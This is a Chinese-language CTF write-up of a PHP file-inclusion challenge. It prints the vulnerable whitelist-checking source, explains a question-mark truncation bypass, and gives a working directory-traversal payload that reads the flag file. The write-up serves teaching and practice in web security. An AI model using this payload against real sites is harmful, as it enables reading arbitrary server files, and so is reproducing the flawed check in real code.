考点:PHP 文件包含漏洞、白名单绕过(问号截断)、目录穿越、mb_strpos/mb_substr 函数
打开题目,发现有个表情包。
右键检查,能看到有个source.php:
打开source.php发现是一段代码:
分析一下:
<?php // 高亮显示当前PHP文件的源代码,这是题目给我们看源码的入口 highlight_file(__FILE__); // 定义一个名为emmm的类,核心的白名单检查逻辑都在这个类里 class emmm { // 定义静态方法checkFile,用于检查传入的文件名是否合法 // 参数&$page是引用传递,但本函数中并未修改$page的值,引用无实际作用 public static function checkFile(&$page) { // 定义白名单数组,只允许访问source.php和hint.php两个文件 // 注意:数组的键名"source"和"hint"没有实际作用,只有值会被in_array检查 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 第一层基础校验:检查$page是否存在 且 是字符串类型 if (! isset($page) || !is_string($page)) { // 校验失败,输出提示信息 echo "you can't see it"; // 返回false,表示文件不合法 return false; } // 第一层白名单检查:直接匹配整个$page是否在白名单中 if (in_array($page, $whitelist)) { // 匹配成功,直接返回true,函数立即结束 return true; } // 第二层白名单检查:截取$page中第一个问号之前的内容进行匹配 // mb_substr:多字节字符串截取函数,从第0位开始截取 // mb_strpos:多字节字符串查找函数,查找第一个问号的位置 // 拼接$page . '?'的目的:如果$page中没有问号,mb_strpos会返回false // 拼接后保证至少有一个问号,此时会截取整个$page字符串 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); // 检查截取后的字符串是否在白名单中 if (in_array($_page, $whitelist)) { // 匹配成功,直接返回true,函数立即结束 return true; } // 第三层白名单检查:先URL解码,再截取第一个问号之前的内容进行匹配 // urldecode:对URL编码的字符串进行一次解码 $_page = urldecode($page); // 重复第二层的截取逻辑 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); // 检查解码并截取后的字符串是否在白名单中 if (in_array($_page, $whitelist)) { // 匹配成功,直接返回true,函数立即结束 return true; } // 所有三层检查都失败,输出提示信息 echo "you can't see it"; // 返回false,表示文件不合法 return false; } } // 主逻辑:处理用户的文件包含请求 // 三个条件必须同时满足: // 1. $_REQUEST['file']参数不为空 // 2. $_REQUEST['file']是字符串类型 // 3. 经过checkFile函数检查返回true if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { // 所有条件满足,包含用户传入的文件 // 这是漏洞的核心:只要绕过checkFile检查,就能包含任意文件 include $_REQUEST['file']; // 包含文件后立即退出脚本,不再执行后续代码 exit; } else { // 任意一个条件不满足,显示滑稽表情包 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>看见有个hint.php,访问一下:
checkFile()函数有4 种返回 true 的情况,我们需要利用其中一种绕过白名单:
- 传入的
$page直接在白名单中(只能访问 source.php 和 hint.php,无法直接读 flag) - 截取
$page中第一个?之前的内容,如果在白名单中则返回 true - 对
$page进行一次 URL 解码后,再截取第一个?之前的内容,如果在白名单中则返回 true
mb_strpos会在$page的后面拼接一个?,并且会查询第一个问号的位置。而mb_substr会截取问号前的内容。只要问号前是白名单中的文件名(source.php/hint.php),就能通过第二个检查。
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') );所以我们只需要在参数的后面加个?就能通过检查,而代码里明确使用了$_REQUEST['file']来获取用户输入,所以:
?file=source.php?这里有两个完全不同作用的问号:
- 第一个
?:URL 标准的参数分隔符,作用是把域名和 GET 参数分开,告诉服务器 "后面的是参数" - 第二个
?:我们精心构造用来绕过白名单的核心
那ffffllllaaaagggg有什么用呢?
因为我们不清楚ffffllllaaaagggg是在哪层目录,而PHP 的include函数默认从当前脚本所在目录查找文件,而不是直接从系统根目录查找。
几乎所有 CTF Web 靶机都采用 Linux 系统的标准 Web 目录结构:
/ ← 系统根目录 └── var/ └── www/ └── html/ ← 网站根目录(当前脚本所在目录) ├── index.php ├── source.php └── hint.php所以我们要对payload进行向上的目录穿越,也就是要加4个../:
?file=source.php?/../../../../ffffllllaaaagggg为什么第一个../前还要多加个正斜杠呢?
当include遇到这样的路径:
source.php?/../../../../ffffllllaaaagggg- PHP 首先会尝试找一个字面意义上叫
source.php?的文件,这个文件当然不存在 - 找不到文件时,PHP 会退而求其次,把整个字符串当作目录路径来解析
- 这时候
?就变成了文件名的一部分,而/是标准的目录分隔符 - 所以
source.php?/会被解析成:一个名为source.php?的目录 - 后面的
../就会正常执行向上穿越目录的操作
最后拆解一下执行过程:
//payload source.php?/../../../../ffffllllaaaagggg第一步:执行mb_strpos($page . '?', '?')
- 先拼接字符串:
$page . '?'→source.php?/../../../../ffffllllaaaagggg? - 查找第一个
?的位置:source.php正好是 10 个字符,所以返回10
第二步:执行mb_substr($page, 0, 10)
- 从第 0 个字符开始,截取 10 个字符
- 结果:
$_page = "source.php"
第三步:白名单检查
if (in_array($_page, $whitelist)) { return true; }in_array("source.php", ["source.php", "hint.php"])→ 匹配成功- 函数直接返回
true,绕过白名单检查
把payload放在靶机的地址后面:
flag出来了